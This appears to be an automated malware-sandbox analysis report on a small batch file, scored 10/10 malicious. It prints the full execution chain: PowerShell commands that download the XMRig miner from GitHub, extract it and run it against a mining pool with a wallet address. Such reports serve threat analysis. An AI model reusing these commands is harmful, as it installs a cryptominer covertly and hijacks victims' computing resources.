Analysis

  • max time kernel
    1781s
  • max time network
    1792s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 03:11

General

  • Target
    tesy - Copy (13).bat
  • Size 608B
  • Sample240101-dppkasdcf5
  • SHA256 97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 59 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4008
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (13).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4476
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2960
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4888

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/2960-116-0x00007FFE061F0000-0x00007FFE06BDC000-memory.dmp

        memory/2960-40-0x0000017071A80000-0x0000017071A90000-memory.dmp

        memory/2960-39-0x00007FFE061F0000-0x00007FFE06BDC000-memory.dmp

        memory/2960-65-0x0000017071A80000-0x0000017071A90000-memory.dmp

        memory/2960-92-0x0000017071E40000-0x0000017071E4A000-memory.dmp

        memory/2960-41-0x0000017071A80000-0x0000017071A90000-memory.dmp

        memory/2960-79-0x0000017072040000-0x0000017072052000-memory.dmp

        memory/4008-10-0x00000238D56D0000-0x00000238D5746000-memory.dmp

        memory/4008-8-0x00000238BCEC0000-0x00000238BCED0000-memory.dmp

        memory/4008-9-0x00000238BCEC0000-0x00000238BCED0000-memory.dmp

        memory/4008-25-0x00000238BCEC0000-0x00000238BCED0000-memory.dmp

        memory/4008-26-0x00007FFE061F0000-0x00007FFE06BDC000-memory.dmp

        memory/4008-27-0x00000238BCEC0000-0x00000238BCED0000-memory.dmp

        memory/4008-5-0x00007FFE061F0000-0x00007FFE06BDC000-memory.dmp

        memory/4008-28-0x00000238BCEC0000-0x00000238BCED0000-memory.dmp

        memory/4008-33-0x00007FFE061F0000-0x00007FFE06BDC000-memory.dmp

        memory/4008-4-0x00000238D5620000-0x00000238D5642000-memory.dmp

        memory/4888-177-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-167-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-121-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-122-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-124-0x0000028ACAEF0000-0x0000028ACAF10000-memory.dmp

        memory/4888-123-0x0000028ACACC0000-0x0000028ACACE0000-memory.dmp

        memory/4888-125-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-126-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-128-0x0000028ACAEF0000-0x0000028ACAF10000-memory.dmp

        memory/4888-127-0x0000028ACACC0000-0x0000028ACACE0000-memory.dmp

        memory/4888-129-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-130-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-131-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-132-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-133-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-187-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-186-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-185-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-184-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-183-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-182-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-181-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-180-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-179-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-178-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-119-0x0000028A36C00000-0x0000028A36C20000-memory.dmp

        memory/4888-176-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-175-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-174-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-173-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-172-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-171-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-170-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-169-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-168-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-120-0x0000028ACA880000-0x0000028ACA8A0000-memory.dmp

        memory/4888-166-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-165-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-164-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-163-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-162-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-161-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-160-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-159-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-158-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-157-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-156-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-155-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-154-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-153-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-152-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-151-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-150-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-149-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-148-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-147-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-146-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-145-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-144-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-143-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-142-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-141-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-140-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-139-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-138-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-137-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-136-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-135-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp

        memory/4888-134-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp